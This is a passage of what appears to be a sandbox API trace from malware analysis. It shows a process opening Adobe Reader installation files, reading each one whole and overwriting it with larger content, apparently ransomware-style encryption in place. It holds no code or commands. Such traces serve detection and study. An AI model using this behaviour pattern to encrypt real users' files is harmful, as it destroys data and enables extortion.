lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x354f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.974] CloseHandle (hObject=0x1ac) returned 1 [0035.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.975] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.975] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e00 [0035.975] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.975] ReleaseMutex (hMutex=0x128) returned 1 [0035.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0035.976] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.977] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.977] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x354f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.978] CloseHandle (hObject=0x1ac) returned 1 [0035.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.979] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.979] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2000 [0035.979] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.979] ReleaseMutex (hMutex=0x128) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0035.980] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771158, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x354f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0035.981] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.981] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x354f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0035.982] CloseHandle (hObject=0x1ac) returned 1 [0035.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.983] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.983] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e00 [0035.983] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.983] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.983] ReleaseMutex (hMutex=0x128) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0035.983] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.984] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.985] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x354f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.985] CloseHandle (hObject=0x1ac) returned 1 [0035.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e00 [0035.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.986] ReleaseMutex (hMutex=0x128) returned 1 [0035.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0035.986] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.988] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.988] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x354f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.988] CloseHandle (hObject=0x1ac) returned 1 [0035.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.771] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.771] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3a8 [0036.771] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.772] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.772] ReleaseMutex (hMutex=0x128) returned 1 [0036.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.775] ReadFile (in: hFile=0x1b4, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x3a8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x354f2bc*=0x3a8, lpOverlapped=0x0) returned 1 [0036.807] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.807] WriteFile (in: hFile=0x1b4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x354f2d0*=0x930, lpOverlapped=0x0) returned 1 [0036.807] CloseHandle (hObject=0x1b4) returned 1 [0036.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.807] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.807] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x462 [0036.808] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.808] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.808] ReleaseMutex (hMutex=0x128) returned 1 [0036.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.808] ReadFile (in: hFile=0x1b4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x354f2bc*=0x462, lpOverlapped=0x0) returned 1 [0036.813] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.813] WriteFile (in: hFile=0x1b4, lpBuffer=0x260fc38*, nNumberOfBytesToWrite=0x9ea, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x260fc38*, lpNumberOfBytesWritten=0x354f2d0*=0x9ea, lpOverlapped=0x0) returned 1 [0036.813] CloseHandle (hObject=0x1b4) returned 1 [0036.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.814] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.814] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x298 [0036.814] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.814] ReleaseMutex (hMutex=0x128) returned 1 [0036.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6342c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.814] ReadFile (in: hFile=0x1b4, lpBuffer=0x2739038, nNumberOfBytesToRead=0x298, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x354f2bc*=0x298, lpOverlapped=0x0) returned 1 [0036.815] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.815] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x820, lpOverlapped=0x0) returned 1 [0036.815] CloseHandle (hObject=0x1b4) returned 1 [0036.816] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.816] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.816] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x470 [0036.816] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.816] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.816] ReleaseMutex (hMutex=0x128) returned 1 [0036.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.816] ReadFile (in: hFile=0x1b4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x354f2bc*=0x470, lpOverlapped=0x0) returned 1 [0036.822] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.822] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9f8, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x354f2d0*=0x9f8, lpOverlapped=0x0) returned 1 [0036.822] CloseHandle (hObject=0x1b4) returned 1 [0036.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.823] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.823] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x402 [0036.823] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.823] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.823] ReleaseMutex (hMutex=0x128) returned 1 [0036.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6310c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.823] ReadFile (in: hFile=0x1b4, lpBuffer=0x2770378, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770378*, lpNumberOfBytesRead=0x354f2bc*=0x402, lpOverlapped=0x0) returned 1 [0036.827] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.827] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x98a, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x354f2d0*=0x98a, lpOverlapped=0x0) returned 1 [0036.827] CloseHandle (hObject=0x1b4) returned 1 [0036.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.831] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.831] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a00 [0036.831] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.831] ReleaseMutex (hMutex=0x128) returned 1 [0036.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CAT", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CAT", lpUsedDefaultChar=0x0) returned 19 [0036.831] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0036.836] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x354f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0036.837] CloseHandle (hObject=0x1a0) returned 1 [0036.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.837] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.837] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x14200 [0036.837] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.837] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.837] ReleaseMutex (hMutex=0x128) returned 1 [0036.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0036.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CAT", lpUsedDefaultChar=0x0) returned 14 [0036.837] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, 